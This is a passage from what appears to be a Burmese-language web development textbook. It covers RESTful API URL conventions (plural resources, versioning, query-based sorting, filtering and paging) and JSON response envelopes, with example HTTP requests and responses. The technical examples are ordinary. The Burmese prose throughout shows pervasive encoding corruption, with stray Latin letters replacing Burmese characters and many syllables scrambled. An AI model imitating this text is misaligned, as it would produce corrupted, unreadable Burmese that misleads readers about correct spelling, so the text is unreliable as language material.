နားလည်လုိက်နာရမယ့်  စည်းမျဉ်းကြေတွ  ရိှပါတယ်။  နည်းနည်းလည်းများပါမယ်။  ဒါကြေပမယ့်  သူလည်းပဲ
အကြေရးကြကီးတဲ့ ကိစ္စတစ်ခုမုိလုိ့ ့ကြေသကြေသချာချာင်္ဂရုgပုပြပီး ကြေလ့လာမှတ်သားကြေပးပါ။
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1. ပထမဆံုးစည်းမျဉ်းကကြေတာ့  API  URL  ကြေတွမှာ  စာလုံးအကြေသးကြေတွချည်းပဲသုံးရမယ် ဆိုတဲ့အချက်
goစ်ပါတယ်။ ဥပမာ - 

/products /articles /books /users

2. ဒုတိယအကြေနနဲ့  Resource    အမည်က    Plural   (အများကိန်း)  goစ်ရပါမယ်။ အကြေပါ်ကဥပမာကိုgပန်
eကည့်ပါ။ Plural Noun ကြေတွကိုပဲသုံးပြပီး နမူနာကြေပးထားတာကို ကြေတွ့ရနိုင်ပါတယ်။

3. Resource အမည်မှာ Special Character ကြေတွနဲ့  Space ကြေတွ ထည့်မသံုးရပါyူး။ Space လုိအပ်
တဲ့အခါ Dash (-) နဲတ့ွဲကြေပးနိုင်ပါတယ်။ ဥပမာ –

/junior-engineers /language-books /travel-records /management-jobs

4. API  URL  မှာ  A  ction    ကြေတွမထည့်ရပါyူး  ။  Action  အစား  သင့်ကြေတာ်တဲ့  Request  Method  ကို
အသုံးgပုရပါမယ်။  ဒီကြေတာ့  Resource,  Action,  ID  ရယ်လုိ့  (၃)  မျ ို းရှိကြေပမယ့် API  URL  မှာ
Resource နဲ ့ID ပဲ ပါရမယ်ဆိုတဲ့ သကြေyာပါ။ 

/products /products/123

GET Get all products. Get product with id 123

POST Create a product

PUT Update many products at once Update product with id 123

PATCH Update many products at once Update product with id 123

DELETE Delete many products Delete product with id 123

အကြေပါ်ကဇယားကွက်မှာ  URL  က  နှစ်ခုတည်း ဆိုကြေပမယ့်  Request  Method (၅)  မျ ို းနဲ့  ကြေပါင်း
လုိက်တဲ့အခါ လုပ်ကြေဆာင်ချက် (၉) မျ ို းရတာကို ကြေတွ့ ရနိုင်ပါတယ်။ ကြေလ့လာeကည့်လုိက်ပါ။ PUT 
နဲ့ PATCH ရဲ့ ကွဲgပားပုံ ကိုရှင်းgပခဲ့ပြပီး  goစ်ပါတယ်။  ပြပီးကြေတာ့  POST နဲ့  အချက်အလက်သစ်  
တည်ကြေဆာက်တဲ့အခါ  ID  ကြေပးပြပီး  တည်ကြေဆာက်ရင်  Conflict  goစ်လုိ့  အ့ဲဒီလုပ်ကြေဆာင်ချက်တစ်ခု  
ချန်ထားခဲ့တာလည်း သတိgပုပါ။ ဒီနည်းနဲ့ Action   ကြေတွကို   URL   မှာ ထည့်စရာမလုိကြေတာ့ပါyူး  ။ 
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တစ်ချ ို ့  Action  ကြေတွကကြေတာ့  Request Method  သက်သက်နဲ့  အဓိပ္ပါယ် မကြေပါ်လွင်လုိ့  မထည့်မ
goစ် ထည့်oုိလုိ့တာကြေတွ ရှိနိုင်ပါတယ်။ ဥပမာ - increase, toggle, tag, verify, 
undo စသgoင့်ပါ။ ဒါမျ ို းလုိအပ်လာရင်ကြေတာ့ URL မှာ Action ထည့်နိုင်ပါတယ်။ ဥပမာ -

/product/increase/123 /items/toggle/4 /users/verify /tasks/undo/5

5. Sub Resource ဆိုတာလည်း လုိအပ်တတ်ပါကြေသးတယ်။ လုိအပ်ရင် ထည့်လုိရ့ပါတယ်။ ဥပမာ  -
Product  ရဲ့  Reviews  ကြေတွကို  လုိချင်တယ်။  Student  ရဲ့  Grades  ကိုလုိချင်တယ်။  Article  ရဲ့
Comments ကြေတွကို လုိချင်တယ်၊ စသgoင့် ရှတိတ်ပါတယ်။ အ့ဲဒါဆိုရင် URL ရဲ့ oဲွ့စည်းပံုက ဒီလုိ
goစ်သွားမှာပါ။

/products/123/reviews /students/4/grades /articles/5/comments

ကြေနာက်ကလုိက်တဲ့  reviews, grades, comments ကြေတဟွာလည်း Resource ကြေတွပါပဲ၊  
ဒါကြေပမယ့် Main Resource ကြေတာ့ မဟုတ်ပါyူး။ Sub Resource ကြေတွပါ။

6. ကြေရှ့ကကြေန   /api     ဆိုတဲ့    Prefix    နဲ့    URL   ကြေတွကို စကြေပးချင်ရင်   ကြေပးလုိရ့ပါတယ်။ ရုိးရုိး  URL နဲ့  API
URL ကို ကွဲgပားသွားကြေစလုိ့ ကြေပးသင့်ပါတယ်။ မကြေပးရင်လည်း ရကြေတာ့ရပါတယ်။ ကိုယ့်လုိအပ်ချက်
ကြေပါ်မှာ မူတည်ပါတယ်။

7. URL   မှာ   API Version   ပါသင့်ပါတယ်   (ဥပမာ /api/v1)။ API ဆိုတာ ကြေပးထားပြပီးရင် မgပင်သင့်
ကြေတာ့ပါyူး။ gပင်လုိက်လုိ့ ကြေgပာင်းသွားတဲ့အခါ ဒီ API ကို သုံးကြေနသူ Client အတွက် gပဿနာရှိနိုင်
ပါတယ်။ ဒါကြေeကာင့် gပင်oုိ့လုိတယ် ဆိုရင်လည်း gပင်ပြပီကြေနာက်မှာ  API Version  သစ်အကြေနနဲ့  ထပ်
တိုးကြေပးရမှာ goစ်ပါတယ်။ ဥပမာ -

/api/v1/products/123 /api/v2/articles/4/comments /api/v3/user/verify/5
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8. Sorting, Filter  နဲ့  Paging  လုပ်ကြေဆာင်ချက်ကြေတွ အတွက်  URL Query ကြေတွကို သုံးရပါတယ်။ ဒီ
အပုိင်းကကြေတာ့  တစ်ကြေယာက်နဲတ့စ်ကြေယာက်  အကြကိုက်မတူသလုိ  Recommendation  ကြေတွလည်း
ကွဲgပားeကပါတယ်။ ဒါကြေeကာင့် အခုကြေoာ်gပမယ့်နည်းကို Recommendation များစွာထဲက တစ်ခုလုိ့
သကြေyာ ထားသင့်ပါတယ်။

Sorting နဲ့ပတ်သတ်တဲ့ သတ်မှတ်ချက်ကြေတွကို အခုလုိသတ်မှတ်ကြေပးနိုင်ပါတယ်။

/products?sort[price]=1 /students?sort[name]=1&sort[age]=-1

URL Query Operator goစ်တဲ့ ? ကို သုံးလုိက်တာပါ။ ပထမဥပမာမှာ Products ကြေတွကို price 
နဲ့  Sorting  စီပြပီး  လုိချင်တဲ့သကြေyာကို  သတ်မှတ်ကြေပးလုိက်တာပါ။  ဒုတိယဥပမာ  မှာကြေတာ့  
Students ကြေတွကို name နဲ့လည်းစီမယ် age နဲ့လည်းစီမယ်ဆိုတဲ့သကြေyာနဲ့ နှစ်ခုကြေပး ထားတာကို

သတိgပုပါ။ ပြပီးကြေတာ့ age အတွက် Value က -1 goစ်ပါတယ်။ ကြေgပာင်းgပန်  စီမယ်  
Descending ဆိုတဲ့ သကြေyာပါ။ ရုိးရုိးစီရင်   1     ကိုသုံးပြပီး ကြေgပာင်းgပန်စီရင်    -1     ကိုသုံးတယ်   ဆိုတဲ့ ဒီ
နည်းဟာ ကြေရှ့ဆက်ကြေလ့လာမယ့် MongoDB ကကြေနလာတဲ့ နည်းgoစ်ပါတယ်။

Filter ကနည်းနည်းကြေတာ့ ရှုပ်ပါတယ်။ ကြေပးထားတဲ့နမူနာကိုသာ တိုက်ရုိက်ကြေလ့လာeကည့်ပါ။

/products?filter[name]=Book&filter[price][$lt]=9

Grater  Than,  Less  Than,   Not  စတဲ့  Filter  Operator  ကြေတွအတွက်   [$gt] [$gte]  
[$lt] [$lte] [$not] စသgoင့် ကြေလးကြေထာင့် ကွင်းကြေလးကြေတွနဲ့ ကြေရးeကပါတယ်။ ဒါလည်းပဲ
MongoDB ကကြေနလာတဲ့ နည်းပဲ goစ်ပါတယ်။ အခုအgမင်မှာ ရှုပ်ကြေနကြေပမယ့် လက်ကြေတွ့အသုံးgပုတဲ့
အခါ ဒီနည်းကြေတွကိုသုံးတဲ့အတွက် ကြေနာက်ပုိင်း ကြေတာ်ကြေတာ်ရှင်းပြပီး အဆင်ကြေgပတယ်ဆိုတာကို ကြေတွ့
ရပါလိမ့်မယ်။
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Paging ကကြေတာ့နှစ်မျ ို းရှိပါတယ်။ Client yက်က Paging ကို သတ်မှတ်ခွင့် gပုလုိရ့သလုိ Server 
yက်ကပဲ သတ်မှတ်ကြေပးလုိ့လည်း ရပါတယ်။ Client yက်က Paging သတ်မှတ်ခွင့်gပုချင်ရင် API
URL  ရဲ့  oဲွ့စည်းပံုက  အခုလုိgoစ်နိုင်ပါတယ်။  ရုိးရုိး  Database  Query  ကြေတွမှာသုံးတဲ့  limit 
ကြေရးထုံးမျ ို းကိုပဲ gပန်သုံးလုိက်တာပါ။ 

/products?skip=5&limit=10 /students?skip=10&limit=20

Client yက်က yယ်ကစမလဲ ကြေရွးလုိရ့သလုိ၊ တစ်ကြကိမ်မှာ yယ်နှစ်ခုလုိချင်သလဲပါကြေရွးလုိရ့သွား
မှာပါ။ ကြေနာက်တစ်နည်းကကြေတာ့ Paging Options ကြေတွကို  Server yက်က ပံုကြေသသတ်မှတ်ထား
တာမျ ို းပါ။ ဒီလုိပါ။

/products?page=2 /students?page=3

Client  yက်ကလုိချင်တဲ့  အကြေရအတွက်ကြေတွyာကြေတွ  ကြေပးခွင့်မရှိကြေတာ့ပါyူး။  လုိချင်တဲ့  Page  
Number ကိုပဲကြေပးရတဲ့ သကြေyာပါ။ Page တစ်ခုမှာ Record  yယ်နှစ်ခုရှိမလဲဆိုတာမျ ို းကကြေတာ့  
Server ကသတ်မှတ်မှာပါ။ 

Filter, Sorting နဲ့ Paging ကြေပါင်းသုံးထားတဲ့ ဥပမာကြေလးတစ်ခုကိုလည်း ကြေoာ်gပကြေပးလုိက်ပါတယ်။

/products?filter[category]=4&sort[name]=1&sort[price]=-1&page=2

category က 4 ကိုလုိချင်တယ်။။ name နဲ့  Sorting စီမယ်။ price နဲ့လည်း ကြေgပာင်းgပန်ထပ်
စီဦးမယ်။ Page 2 ကို လုိချင်တယ်လုိ့ ကြေgပာလုိက်တာပါ။

ဒီလုိ  Sorting, Filter, Paging  လုပ်ကြေဆာင်ချက်ကြေတွ အကုန်လုံးကို ကိုယ့်  API  က မgoစ်မကြေန ကြေပး
ရမယ်လုိ့  မဆိုလုိပါyူး။  ကြေပးချင်တယ်ဆိုရင်  yယ်လုိကြေပးရမလဲဆိုတဲ့  နည်းကိုသာကြေgပာတာပါ။  
လက်ကြေတွ့မှာ  ကိုယ့်  API  yက်က  yယ်လုိလုပ်ကြေဆာင်ချက်ကြေတွ  ကြေပးမလဲဆိုတာ  ကိုယ်တိုင်  
ကြေရွးချယ်သတ်မှတ်ရမှာ goစ်ပါတယ်။
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ဒီထက်ပုိပြပီး နည်းနည်းအကြေသးစိတ်ချင်ကြေသးတယ်ဆိုရင် Client yက်က လုိချင်တဲ့ Fields ကြေတွကို 
ကြေရွးယူလုိရ့ကြေအာင်လည်း ကြေပးလုိရ့ပါတယ်။ ဒီလုိပါ။

/products?fields=name,price,description /students?fields=name,age,grade

ပထမနမူနာမှာ Products ကြေတွကိုလုိချင်တာပါ။ ဒါကြေပမယ့် Products ရဲ့ ရှိသမျှ Field အားလုံးကို
မယူyဲ name, price နဲ့ description ပဲလုိချင်တယ်လုိ ့ကြေရွးကြေပးလုိက်တာပါ။ ဒုတိယ နမူ
နာကလည်း အတတူူပါပဲ။ Students  ရဲ့အချက်အလက်ကြေတွထဲကမှ name, age နဲ့  grade 
ကိုပဲ လုိချင်တယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။

ဒီကြေလာက်ဆိုရင် RESTful API URL ကြေတွရဲ့ oဲွ့စည်းပံုပုိင်းမှာ ကြေတာ်ကြေတာ်ကြေလး gပည့်စံုသွားပါပြပီ။ ကြေခါင်းလည်း
နည်းနည်းမူးသွားeကပြပီ  ထင်ပါတယ်။  မှတ်စရာ  နည်းနည်းများတဲ့  အတွက်ကြေeကာင့်  မှတ်ရလွယ်ကြေအာင်
နံပါတ်စဉ်တပ်ပြပီး ကြေoာ်gပကြေပးခဲ့ပါတယ်။ အားလံုး (၈) ပုိင်းရှိပါတယ်။ 

စာကြေတွများလုိ့ စိတ်ကြေတာ့ ညစ်မသွားပါနဲ။့ ဒီဇုိင်းပုိင်း ကြေကာင်းမွန်စနစ်ကျတဲ့ Service ကြေတွ API ကြေတွgoစ်ကြေစoုိ့
အတွက်  ကြေနာက်ထပ်အကြေရးကြကီးတဲ့  အပုိင်းတစ်ခုကို  ဆက်လက်ကြေလ့လာ  eကရပါဦးမယ်။  အ့ဲဒါကကြေတာ့
Response ကြေတရွဲ့ oဲွ့စည်းပံုအကြေeကာင်းပဲ goစ်ပါတယ်။
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အခန်း (၇၀) – API Response Structure

ဒီအခန်းမှာကြေတာ့ အထူးသgoင့် Response Body ရဲ့ oဲွ့စည်းပံုနဲအ့တူ Client နဲ့ Server အgပန်အလှန် ကြေပးပုိ့
eကမယ့် Request / Response ကြေတရွဲ့ oဲွ့စည်းပံုအကြေeကာင်းကို ကြေgပာgပသွားမှာပါ။ ဟိုးအကြေပါ်မှာ Response
Body ဟာ JSON Format goစ်ရပြပီးကြေတာ့ Data Envelope ကိုအသုံးgပုနိုင်တယ်လုိ ့ကြေgပာထားပါတယ်။ 

JSON Format goစ်oုိက့ လွယ်ပါတယ်။ ကိုယ်ကြေတာင် yာမှလုပ်စရာ မလုိပါyူး။ Language တိုင်းလုိလုိမှာ
Array  ကို  JSON  ကြေgပာင်းကြေပးနိုင်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ၊  Object  ကို  JSON  ကြေgပာင်းကြေပးနိုင်တဲ့
လုပ်ကြေဆာင်ချက်ကြေတွ ပါပြပီးသားပါ။

ဒါကြေeကာင့် ဒီကြေနရာမှာ Data Envelope ရဲ့oဲွ့စည်းပံုကို နားလည်oုိက့ပုိအကြေရးကြကီးပါတယ်။  Data Envelope
ရဲ့  oဲွ့စည်းပံုက တစ်ကြေယာက်နဲတ့စ်ကြေယာက်  အကြကိုက်မတူeကသလုိ၊  ကြေပးeကတဲ့  Recommendation  ကြေတွ
လည်းမတူeကပါyူး။  ဒါကြေပမယ့်  အကြေသးစိတ်ကြေတွမှာသာ  ကွာသွားတာပါ၊  အကြေgခခံမူသကြေyာကြေတွကကြေတာ့
အတတူူပါပဲ။ ဒါကြေeကာင့်မုိလုိ့့  အခုကြေoာ်gပမယ့်နည်းကြေတွကို ကြေလ့လာထားပြပီး ကျန်အကြေသးစိတ်ကိုကြေတာ့ ကိုယ့်
လုိအပ်ချက်နဲ့အညီ ချနိ်ညိှပြပီး သုံးသွားလုိ ့ရနိုင်ပါတယ်။

ပထမဆံုးအကြေနနဲ့  Response Envelope  ထဲမှာ  meta, data, links နဲ့  errors လုိ့ကြေခါ်တဲ့  ပင်မ
အစိတ်အပုိင်း  (၄)  ခု  ပါကြေလ့ရှိတယ်လုိ့  မှတ်သားထားကြေပးပါ။  ဥပမာ  -  GET Method  ကို  သုံးပြပီး
/students ကို Request gပုလုပ်ခဲ့တယ်ဆိုရင် အခုလုိgoစ်နိုင်ပါတယ်။
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 Request 

GET /students
Content-Type: application/json

 Response 

200 OK
Content-Type: application/json

{
meta: {

total: 15
},
data: [

{ … }, { … }, { … }, { … }, { … }
],
links: {

self: "http://domain/students",
students: "http://domain/students",
classes: "http://domain/classes",
grades: "http://domain/students/grades"

}
}

အထက်က  Response Body  နမူနာမှာ  meta, data နဲ့  links တိုပ့ါပါတယ်။  meta မှာ စုစုကြေပါင်း
Record အကြေရအတွက်ကို total နဲတ့ွဲထည့်ကြေပးထားပါတယ်။ data ကကြေတာ့ Client လုိချင်တဲ့ Student
စာရင်းကို  JSON Array  အကြေနနဲ့ကြေပးထားတာပါ။  errors မပါပါyူး။  Error  မရှိတဲ့သကြေyာပါ။ တစ်ချ ို ့က
errors  နဲ့ data နှစ်ခုထဲက တစ်ခုပဲပါရမယ်။ errors     ပါရင်   data     မပါရyူး။   data     ပါရင်   errors  

မပါရyူး လုိ့ကြေgပာeကပါတယ်။ ဒါသyာဝကျပါတယ်။ ဒါကြေeကာင့် errors နဲ့ data နှစ်ခုရှိကြေပမယ့် နှစ်ခုထဲ
ကတစ်ကြကိမ်မှာ တစ်ခုသာ ပါဝင်ရမှာပဲ goစ်ပါတယ်။

links မှာကြေတာ့  အသုံးဝင်တဲ့  API  URL  ကြေတွကို  တန်းစီပြပီးကြေတာ့  ကြေပးထားတဲ့  သကြေyာပါ။  ဒီအတွက်
HATEOAS လုိ့ကြေခါ်တဲ့  REST  ရဲ့ဆက်စပ်နည်းပညာတစ်ခုရှိပါတယ်။  Hypermedia  as  the  Engine  of
Application State ရဲ့အတိုကြေကာက်ပါ။ ဒါနဲပ့က်သက်ပြပီး နည်းနည်းကြေတာ့ အgငင်းပွားeကပါတယ်။ လုိတယ်
လုိ့ ကြေgပာတဲ့သူရှိသလုိ၊ မလုိyူးလုိ့ ကြေgပာတဲ့သူလည်း ရှိပါတယ်။ မလုိyူးလုိ့ yာကြေeကာင့် ကြေgပာသလဲဆိုကြေတာ့၊
လက်ကြေတွ့မှာ ဒီ  Links  ကြေတွကိုအားကိုးလုိ့  မgပည့်စံုပါyူး။  API Documentation  ကိုသွားeကည့်ရမှာပဲမုိလုိ့့
Response  Body  မှာ  ထည့်ကြေပးကြေနစရာမလုိyူးလုိ့  ကြေgပာeကတာပါ။  တစ်ကယ်တမ်း  လက်ကြေတွ့မှာလည်း
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အပြမဲတမ်း  gပည့်စံုကြေအာင်လုိက်ထည့်ကြေပးoုိ့  မလွယ်တဲ့အတွက်  အများအားgoင့်  Pagination  ပုိင်းကလဲွရင်
links ကို သိပ်ပြပီးကြေတာ့ မသုံးeကပါyူး။ ဒါကြေeကာင့် ကြေနာက်ပုိင်းမှာ links ကို အပြမဲမသံုးကြေတာ့yဲ လုိအပ်
မှပဲ သုံးပါကြေတာ့မယ်။

GET Method နဲ့ /studetns/:id ဆိုတဲ့ API URL ကို  Request  gပုလုပ်ခဲ့ရင်ကြေတာ့ oဲွ့စည်းပံုက အခု
လုိပုံစံ goစ်နိုင်ပါတယ်။

 Request 

GET /students/3
Content-Type: application/json

 Response 

200 OK
Content-Type: application/json

{
meta: {

id: 3
},
data: { ... }

}

ဒီတစ်ခါကြေတာ့ meta မှာ id ကို ထည့်ကြေပးထားပါတယ်။ တစ်ချ ို ့လည်း total တို့ id တိုလုိ့ meta Data
ကြေတွကို meta ထဲမှာ တစ်ဆင့်ခံ မထည့်ကြေတာ့ပဲ တိုက်ရုိက်ကြေပးတတ်eကပါတယ်။ ဒီလုိပါ။ 

 JSON 

{
id: 3,
data: { ... }

}
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နည်းလမ်းကြေတွ ကြေရာကြေgပာကြေနလုိ့  ကြေခါင်းမစားပါနဲ။့  အထက်မှာကြေgပာခဲ့သလုိ အကြေသးစိတ်ကြေလးကြေတွပဲ ကွာသွား
တာပါ။  အကြေgခခံမူသကြေyာက  အတူတူပဲမုိလုိ့့  ကြကိုက်တဲ့နည်းကို  သံုးနိုင်ပါတယ်။  လက်ရှိနမူနာမှာ  data
ကကြေတာ့ JSON Object တစ်ခတုည်း goစ်သွားပါပြပီ။ Array မဟုတ်ကြေတာ့yူးဆိုတာကိုလည်း သတိgပုပါ။ 

အကယ်၍များ Error goစ်ခဲ့ရင်ကြေတာ့ Response က ဒီလုိgoစ်နိုင်ပါတယ်။

 Response 

404 Not Found
Content-Type: application/json

{
meta: {

id: 3
},
errors: {

message: "Student with id 3 doesn't exists."
}

}

သုိ့မဟုတ် ဒီလုိလည်း goစ်နိုင်ပါတယ်။

 Response 

401 Unauthorized
Content-Type: application/json

{
meta: {

id: 3
},
errors: {

message: "Unauthorize access."
},
links: {

self: "http://domain/studnets/3",
login: "http://domain/login"

}
}
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နမူနာမှာ  Client  အတွက် အသံုးဝင်နိုင်တဲ့အတွက်  links ကိုထည့်ကြေပးထားတာကို သတိgပုပါ။  Sorting
ကြေတွ Filter ကြေတွ Paging ကြေတွ အကုနက်ြေရာပါတဲ့ နမူနာကြေလး တစ်ခုကြေလာက် ထပ်ကြေပးပါဦးမယ်။

 Request 

GET /students?filter[grade]=7&sort[name]=1&page=2
Content-Type: application/json

 Response 

200 OK
Content-Type: application/json

{
meta: {

filter: { grade: 7 },
sort: { name: 1 },
page: 2,
total: 25,
limit: 5

},
data: [

{ ... }, { ... }, { ... }, { ... }, { ... }
],
links: {
     self: "/students?filter[grade]=7&sort[name]=1&page=2",
     first: "/students?filter[grade]=7&sort[name]=1&page=1",

last: "/students?filter[grade]=7&sort[name]=1&page=5",
next: "/students?filter[grade]=7&sort[name]=1&page=3",
prev: "/students?filter[grade]=7&sort[name]=1&page=1"

}
}

ဒီနမူနာမှာကြေတာ့  meta,  links အစံုပါသွားပါပြပီ။  ပါoုိလ့ည်းလုိပါတယ်။  ဒီကြေတာ့မှ  Client  က
Pagination နဲ့ပက်သက်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို Data နဲ့အတူ တစ်ခါထဲ အတွဲလုိက် သိရမှာပါ။ အခုလုိ
သာ  Data Envelope  ထဲမှာစနစ်တကျ အချက်အလက် gပည့်gပည့်စံုစံု  gပန်ကြေပးမယ်ဆိုရင်  Client  အတွက်
အသုံးgပုရတာ အရမ်းအဆင်ကြေgပသွားမှာပါ။

တစ်ချ ို ့  API URL ကြေတွက နည်းနည်းရှုပ်လုိ့  Client yက်က မှားနိုင်ပါတယ်။ အ့ဲဒီလုိမှားပြပီဆိုရင်ကြေတာ့ ဒီလုိ
Error ကြေပးနိုင်ပါတယ်။
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 Response 

400 Bad Request
Content-Type: application/json

{
errors: {

message: "Unable to parse parameters."
}

}

ဆက်လက်ပြပီးကြေတာ့ POST Method နဲ့  Request gပုလုပ်လာတဲ့အခါ အgပန်အလှန်သွားကြေလ့ရှိeကတဲ့ နမူနာ
ကြေလးတစ်ချ ို ့ ကြေoာ်gပကြေပးပါမယ်။

 Request 

POST /students
Content-Type: application/json

{
name: "Tom", age: 12, grade: 6

}

 Response 

201 Created
Content-Type: application/json
Location: /students/9

{
meta: {

id: 9
},
data: {

id: 9, name: "Tom", age: 12, grade: 6
}

}

POST Method  နဲ့လာလုိ့  အချက်အလက်သစ် ထည့်သွင်းကြေပးရတဲ့အတွက်  Response  မှာ  Status Code
အကြေနနဲ့ 201 Created ကို gပန်ကြေပးထားပါတယ်။ ထည့်သွင်းလုိက်တဲ့အတွက် ရလာတဲ့ ID ကို Response
မှာ gပန်ထည့်ကြေပးထားတာကို  သတိgပုပါ။  ဒီနည်းနဲ့  Client  က  POST လုပ်ပြပီးတာနဲ့  အချက်အလက်သစ်
သိမ်းကြေပးသွားယုံသာမက၊ Auto ID ကိုပါ တစ်ခါထဲ gပန်ရသွားမှာ goစ်ပါတယ်။ Response မှာ Location
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Header  ကိုသုံးပြပီး  ထည့်သွင်းလုိက်တဲ့  အချက်အလက်ကို  gပန်eကည့်လုိရ့တဲ့  API URL  ကိုပါ  gပန်တွဲထည့်
ကြေပးထားတာကို သတိgပုပါ။ links နဲ့  Body ထဲမှာ ထည့်ရင်လည်း ရနိုင်ပါတယ်။ HTTP Standard အရ
ဆိုရင်ကြေတာ့  201 နဲ့အတူ  Location ကိုတွဲကြေပးရတယ်ဆိုတဲ့  သတ်မှတ်ချက်ရှိလုိ့  ဒီကြေနရာမှာကြေတာ့
Location Header နဲတ့ွဲကြေပးတာက ပုိစနစ်ကျမှာပါ။

အကယ်၍ကြေပးတဲ့အချက်အလက်မgပည့်စံုရင်  400 Bad Request ကိုgပန်ကြေပးနိုင်ပါတယ်။ ထည့်ခွင့်မရှိ
yဲ လာထည့်ကြေနတာဆိုရင်  401 Unauthorized နဲ့  403 Forbidden တိုက့ို  သင့်ကြေတာ်သလုိ gပန်
ကြေပးနိုင်ပါတယ်။ အကယ်၍ ID ကြေပးပြပီး ထည့်ခိုင်းကြေနရင်ကြေတာ့ 409 Conflict ကို gပန်ကြေပးရမှာပါ။ ဒီလုိ
ပါ။ ဒီသကြေyာသyာဝကြေတွကို Status Code ကြေတွအကြေeကာင်း ကြေgပာတံုးက ရှင်းgပခဲ့ပြပီး goစ်ပါတယ်။

 Request 

POST /students/8
Content-Type: application/json

{
name: "Tom", age: 12, grade: 6

}

 Response 

409 Conflict
Content-Type: application/json

{
errors: {

message: "Incorrect request. Giving ID."
}

}

အချက်အလက်ကြေတွကို  PUT နဲ့ကြေပးပုိလ့ာတဲ့အခါ နင်္ဂို  Data ကို ကြေပးလာတဲ့ Data နဲ့ အစားထုိးပြပီး gပင်ကြေပးရ
မှာပါ။  PATCH နဲ့ကြေပးပုိ့လာရင်ကြေတာ့ တစ်စိတ်တစ်ပုိင်း gပင်ကြေပးရမှာပါ။ ဥပမာ -  မူလဒီလုိပုံစံမျ ို းနဲ့ Data ရှိ
ကြေနတယ်လုိ့ သကြေyာထားပါ။

 JSON 

{ id: 8, name: "Tom", age: 12, grade: 6 }
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အ့ဲဒါကို PATCH နဲ ့Request လုပ်ပြပီးgပင်မယ်ဆိုရင် ဒီလုိgoစ်မှာပါ။

 Request 

PATCH /students/8
Content-Type: application/json

{
name: "Tommy"

}

ကြေပးလုိက်တဲ့  Request  Body  မှာ  name တစ်ခုပဲပါတာကို  သတိgပုပါ။  Update  လုပ်တဲ့အလုပ်  လုပ်ပြပီး
ကြေနာက် gပန်ရမယ့် Response က ဒီလုိပုံစံgoစ်မှာပါ။

 Response 

200 OK
Content-Type: application/json

{
meta: {

id: 8
},
data: {

id: 8, name: "Tommy", age: 12, grade: 6
}

}

မူလ  Data  မှာ ရိှကြေနတဲ့အချက်အလက်ကြေတွထဲက  name တစ်ခတုည်းကို  ကြေရွးပြပီးgပင်ကြေပးသွားတာပါ။ ကျန်
အချက်အလက်ကြေတွကိုကြေတာ့ မူလအတိုင်းပဲ ဆက်ထားကြေပးပါတယ်။ အကယ်၍အလားတူ လုပ်ကြေဆာင်ချက်
ကိုပဲ PUT နဲ့ Request လုပ်ခဲ့မယ်ဆိုရင် ဒီလုိgoစ်မှာပါ။

 Request 

PUT /students/8
Content-Type: application/json

{
name: "Tommy"

}



PWD 2023 – အခန်း (၇၀) – API Response Structure 861

 Response 

200 OK
Content-Type: application/json

{
meta: {

id: 8
},
data: {

id: 8, name: "Tommy"
}

}

နင်္ဂိုရှတိဲ့  Data  ကြေတွကို  ကြေပးလုိက်တဲ့  Data  နဲ့အစားထုိးလုိက်တာမုိလုိ့့  နင်္ဂို  Data  ကြေတွမရှိကြေတာ့တာကို
သတိgပုeကည့်ပါ။  ဒီလုိနှစ်လမ်းနှစ်မျ ို းရဲ့  ကွဲgပားပုံကို  သကြေyာကြေပါက်oုိလုိ့ပါတယ်။  ကိုယ့်  Service  နဲ့  API
yက်က နှစ်မျ ို းလံုးကို ကွဲgပားကြေအာင် Implement လုပ်ကြေပးထားနိုင်ရင်ကြေတာ့ အကြေကာင်းဆံုးပါပဲ။ 

goည့်စွက်မှတ်သားသင့်တဲ့  ထူးgခားချက်အကြေနနဲ့  မရှိတဲ့    Data    ကို    PUT/PATCH     တိုန့ဲ့  gပင်oုိက့ြကိုးစားရင်  
အသစ်ထည့်ကြေပးရမယ်လုိလ့ည်း တစ်ချ ို ့ကကြေgပာeကပါတယ်။ မgoစ်မကြေန အသစ်ထည့်ကြေပးရမယ်လုိ့ မဆိုလုိပါ
yူး။  ဆန္ဒရှိရင်ထည့်ကြေပးနိုင်တယ်ဆိုတဲ့  သကြေyာပါ။  မထည့်ချင်ရင်လည်း  404 Not Found ကို  gပန်
ကြေပးလုိက်လုိလ့ည်း  ရပါတယ်။ မရှိတဲ့  Data  ကို  gပင်oုိ့ကြကိုးစားလုိ့  အသစ်အကြေနနဲ့  ထည့်ကြေပးလုိက်ချင်တယ်
ဆိုရင်ကြေတာ့ ဒီလုိgoစ်မှာပါ။

 Request 

PUT /students/9
Content-Type: application/json

{
name: "Mary", age: 12, grade: 6

}
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 Response 

202 Accepted
Content-Type: application/json

{
meta: {

id: 9
},
data: {

id: 9, name: "Mary", age: 12, grade: 6
}

}

200 OK တို့  201 Created တိုက့ို  မသုံးyဲ၊  202 Accepted     ကိုသုံးတာသတိgပုပါ  ။ အဓိပ္ပါယ်က၊
ကြေပးပုိတ့ာ မမှန်ကြေပမယ့် လက်ခံကြေပးလုိက်တယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။  Status Code မှာတင် လုပ်ကြေပးလုိက်တဲ့
အလုပ်ရဲ့  အဓိပ္ပါယ်  ကြေပါ်လွင်သွားကြေစတာပါ။  ဒါကြေeကာင့်  Request  Method  ကြေတွ  Status  Code  ကြေတွကို
HTTP က သတ်မှတ်ထားတဲ့အတိုင်း မှန်ကန်ကြေအာင် သံုးကြေပးရတယ်လုိ့ ကြေgပာတာပါ။ အားလံုးက သူ့ကြေနရာနဲ့
သူ အဓိပ္ပါယ်ရှိပြပီး စနစ်ကျကြေနကြေစမှာပါ။

ဆက်လက်ပြပီး DELETE Request ကြေတွလာတဲ့အခါ တံုg့ပန်ပုံကို ကြေoာ်gပကြေပးပါမယ်။ ဒီလုိပါ။

 Request 

DELETE /students/8

 Request 

204 No Content 

ဒါပါပဲ၊ အရမ်းရှင်းပါတယ်။ Request မှာ Body မပါသလုိ၊ Response မှာလည်း Body မပါပါyူး။  yာမှမပါ
လုိ့ ကိစ္စမရှိပါyူး။ 2XX Status Code goစ်ကတည်းက လုပ်ငန်းကြေအာင်gမင်တာ ကြေပါ်လွင်ကြေနပါပြပီ။ 204 လုိ့
ကြေgပာတဲ့အတွက်  Content  မရှိကြေတာ့လုိ့ gပန်မကြေပးတာ goစ်တဲ့အတွက်  Delete goစ်သွားတာလည်း ကြေပါ်လွင်
